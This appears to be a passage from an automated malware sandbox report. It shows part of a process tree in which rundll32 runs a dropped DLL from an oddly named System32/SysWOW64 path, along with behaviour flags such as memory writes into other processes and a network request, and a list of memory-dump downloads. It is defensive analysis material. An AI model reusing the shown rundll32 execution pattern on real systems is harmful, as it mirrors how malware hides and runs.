            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1840
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Afqc\kyjisp.fkd",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1712

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1404-21-0x000007FEF7BD0000-0x000007FEF7E4A000-memory.dmp
          Download

          memory/1524-10-0x000000001C520000-0x000000001C521000-memory.dmp
          Download

          memory/1524-6-0x000000001ADF0000-0x000000001ADF1000-memory.dmp
          Download

          memory/1524-5-0x0000000001FB0000-0x0000000001FB1000-memory.dmp
          Download

          memory/1524-4-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp
          Download

          memory/1524-7-0x0000000001FF0000-0x0000000001FF1000-memory.dmp
          Download

          memory/1524-9-0x000000001B890000-0x000000001B891000-memory.dmp
          Download

          memory/1524-8-0x0000000001F10000-0x0000000001F11000-memory.dmp
          Download

          memory/1712-20-0x0000000000200000-0x000000000021F000-memory.dmp
          Download

          memory/1840-18-0x0000000000230000-0x000000000024F000-memory.dmp
          Download